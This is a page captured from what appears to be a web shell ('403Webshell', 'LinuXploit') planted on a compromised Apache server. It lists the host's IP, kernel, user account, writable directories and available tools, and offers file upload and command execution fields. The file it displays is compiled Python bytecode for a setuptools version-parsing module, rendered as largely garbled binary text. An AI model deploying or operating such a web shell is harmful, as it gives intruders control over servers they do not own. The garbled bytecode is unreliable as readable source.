403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/setuptools/_distutils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/setuptools/_distutils/__pycache__/versionpredicate.cpython-313.pyc
�

�hU��T�SrSSKrSSKrSSKJr \R
"S\R5r\R
"S5r\R
"S5r	Sr
\R\R\R\R\R\R S	.r"S
S5rSqSrg)
zAModule for parsing and testing package version predicate strings.�N�)�versionz'(?i)^\s*([a-z_]\w*(?:\.[a-z_]\w*)*)(.*)z^\s*\((.*)\)\s*$z%^\s*(<=|>=|<|>|!=|==)\s*([^\s,]+)\s*$c��[RU5nU(d[SU<35eUR5up#[R
"5 [R"U5nSSS5 X$4$!,(df   UW4$=f)zNParse a single version comparison.

Return (comparison string, StrictVersion)
z bad package restriction syntax: N)�re_splitComparison�match�
ValueError�groupsr�suppress_known_deprecation�
StrictVersion)�pred�res�comp�verStr�others     �H/usr/lib/python3/dist-packages/setuptools/_distutils/versionpredicate.py�splitUprss��
�
"�
"�4�
(�C���;�D�8�D�E�E��:�:�<�L�D�	�	+�	+�	-��%�%�f�-��
.��=��
.�	-��%�=��s�A5�5
B)�<z<=z==�>z>=z!=c�*�\rSrSrSrSrSrSrSrg)�VersionPredicate�(aParse and test package version predicates.

>>> v = VersionPredicate('pyepat.abc (>1.0, <3333.3a1, !=1555.1b3)')

The `name` attribute provides the full dotted name that is given::

>>> v.name
'pyepat.abc'

The str() of a `VersionPredicate` provides a normalized
human-readable version of the expression::

>>> print(v)
pyepat.abc (> 1.0, < 3333.3a1, != 1555.1b3)

The `satisfied_by()` method can be used to determine with a given
version number is included in the set described by the version
restrictions::

>>> v.satisfied_by('1.1')
True
>>> v.satisfied_by('1.4')
True
>>> v.satisfied_by('1.0')
False
>>> v.satisfied_by('4444.4')
False
>>> v.satisfied_by('1555.1b3')
False

`VersionPredicate` is flexible in accepting extra whitespace::

>>> v = VersionPredicate(' pat( ==  0.1  )  ')
>>> v.name
'pat'
>>> v.satisfied_by('0.1')
True
>>> v.satisfied_by('0.2')
False

If any version numbers passed in do not conform to the
restrictions of `StrictVersion`, a `ValueError` is raised::

>>> v = VersionPredicate('p1.p2.p3.p4(>=1.0, <=1.3a1, !=1.2zb3)')
Traceback (most recent call last):
  ...
ValueError: invalid version number '1.2zb3'

It the module or package name given does not conform to what's
allowed as a legal module or package name, `ValueError` is
raised::

>>> v = VersionPredicate('foo-bar')
Traceback (most recent call last):
  ...
ValueError: expected parenthesized list: '-bar'

>>> v = VersionPredicate('foo bar (12.21)')
Traceback (most recent call last):
  ...
ValueError: expected parenthesized list: 'bar (12.21)'

c�2�UR5nU(d[S5e[RU5nU(d[SU<35eUR	5uUlnUR5nU(a�[RU5nU(d[SU<35eUR	5SnURS5Vs/sHn[U5PM snUl	UR(d[SU<35eg/Ul	gs snf)z!Parse a version predicate string.zempty package restrictionzbad package name in zexpected parenthesized list: r�,zempty parenthesized list in N)
�stripr�re_validPackagerr	�name�re_paren�splitrr)�self�versionPredicateStrr�paren�str�aPreds      r�__init__�VersionPredicate.__init__is���2�7�7�9��"��8�9�9��%�%�&9�:����3�4G�3J�K�L�L� �<�<�>���	�5����
����N�N�5�)�E�� �#@��	�!J�K�K��,�,�.��#�C�58�Y�Y�s�^�D�^�E����^�D�D�I��9�9� �#?�@S�?V�!W�X�X���D�I��	Es�Dc���UR(aSURVVs/sHupUS-[U5-PM nnnURS-SRU5-S-$UR$s snnf)N� z (z, �))rr"r�join)r�cond�ver�seqs    r�__str__�VersionPredicate.__str__�sa���9�9�:>�)�)�D�)�Y�T�4�#�:��C��(�)�C�D��9�9�t�#�d�i�i��n�4�s�:�:��9�9���Es�A1c�Z�URHup#[U"X5(aM g g)z�True if version is compatible with all the predicates in self.
The parameter version must be acceptable to the StrictVersion
constructor.  It may be either a string or StrictVersion.
FT)r�compmap)rrr*r+s    r�satisfied_by�VersionPredicate.satisfied_by�s+��
���I�D��4�=��.�.��#��)rrN)	�__name__�
__module__�__qualname__�__firstlineno__�__doc__r$r-r1�__static_attributes__�r3rrr(s��>�@�2�r3rc���[c%[R"S[R5qUR	5n[RU5nU(d[
SU<35eURS5=(d SnU(a4[R"5 [R"U5nSSS5 URS5U4$!,(df   N!=f)aReturn the name and optional version number of a provision.

The version number, if given, will be returned as a `StrictVersion`
instance, otherwise it will be `None`.

>>> split_provision('mypkg')
('mypkg', None)
>>> split_provision(' mypkg( 1.2 ) ')
('mypkg', StrictVersion ('1.2'))
Nz=([a-zA-Z_]\w*(?:\.[a-zA-Z_]\w*)*)(?:\s*\(\s*([^)\s]+)\s*\))?$z illegal provides specification: �r)�
_provision_rx�re�compile�ASCIIrrr�grouprr
r)�value�mr+s   r�split_provisionrD�s������
�
�L�b�h�h�
�
�
�K�K�M�E����E�"�A���;�E�9�E�F�F�
�'�'�!�*�
��C�
�
�
/�
/�
1��'�'��,�C�2��7�7�1�:�s�?��2�
1�s�C�
C)r8�operatorr>�rr?r@rrrr�lt�le�eq�gt�ge�ner0rr=rDr:r3r�<module>rMs���G��	���*�*�G����R���:�:�)�*���Z�Z� H�I���
���
�+�+�
�+�+�	���
�+�+�
�+�+�
��i�i�X�
�r3

Youez - 2016 - github.com/yon3zu
LinuXploit